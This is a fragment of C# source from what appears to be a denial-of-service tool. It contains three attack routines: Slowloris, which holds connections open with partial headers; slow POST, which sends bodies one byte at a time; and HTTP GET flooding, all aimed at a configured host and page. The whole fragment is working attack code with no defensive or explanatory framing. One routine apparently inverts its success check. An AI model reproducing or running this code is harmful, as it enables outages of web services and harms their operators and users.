void SendSlowloris(CDenialSocket AttackSocket) { string strBuffer = string.Format( "GET {0} HTTP/1.1\r\nHost: {1}\r\nUser-Agent: Mozilla 4.0\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: {2}\r\n", this.m_strPage, this.m_strHost, CUtils.RandomInt(30, 90) ); byte[] arr_bBuffer = UTF8Encoding.Default.GetBytes(strBuffer); if (!AttackSocket.SendBuffer(arr_bBuffer)) { return; } arr_bBuffer = UTF8Encoding.Default.GetBytes("X-a: b\r\n"); while (this.ShouldAttack()) { if (!AttackSocket.SendBuffer(arr_bBuffer)) { break; } Thread.Sleep(100); } }
void SendSlowpost(CDenialSocket AttackSocket) { string strRandomPOSTData = CUtils.RandomString(CUtils.RandomInt(25, 100)); string strBuffer = string.Format( "POST {0} HTTP/1.1\r\nHost: {1}\r\nUser-Agent: Mozilla/5.0\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: {2}\r\nConnection: close\r\n\r\n", this.m_strPage, this.m_strHost, strRandomPOSTData.Length ); byte[] arr_bBuffer = UTF8Encoding.Default.GetBytes(strBuffer); if (AttackSocket.SendBuffer(arr_bBuffer)) { return; } foreach (char c in strRandomPOSTData.ToCharArray()) { if (!AttackSocket.SendBuffer(new byte[] { (byte)c })) { break; } Thread.Sleep(CUtils.RandomInt(1000, 3000)); } }
void SendHttpGet(CDenialSocket AttackSocket) { string strBuffer = string.Format( "GET {0} HTTP/1.1\r\nHost: {1}\r\nUser-Agent: Mozilla 4.0\r\nConnection: close\r\n\r\n", this.m_strPage, this.m_strHost ); byte[] arr_bBuffer = UTF8Encoding.Default.GetBytes(strBuffer); if (!AttackSocket.SendBuffer(arr_bBuffer)) { return; } if (CUtils.RandomInt(1, 2) == 2) { return; } arr_bBuffer = new byte[8192]; int iRead = -1; while (iRead != 0) { try { iRead = AttackSocket.ClientStream == null?AttackSocket.ClientSocket.Receive(arr_bBuffer) : AttackSocket.ClientStream.Read(arr_bBuffer, 0, arr_bBuffer.Length); } catch { iRead = 0; } } }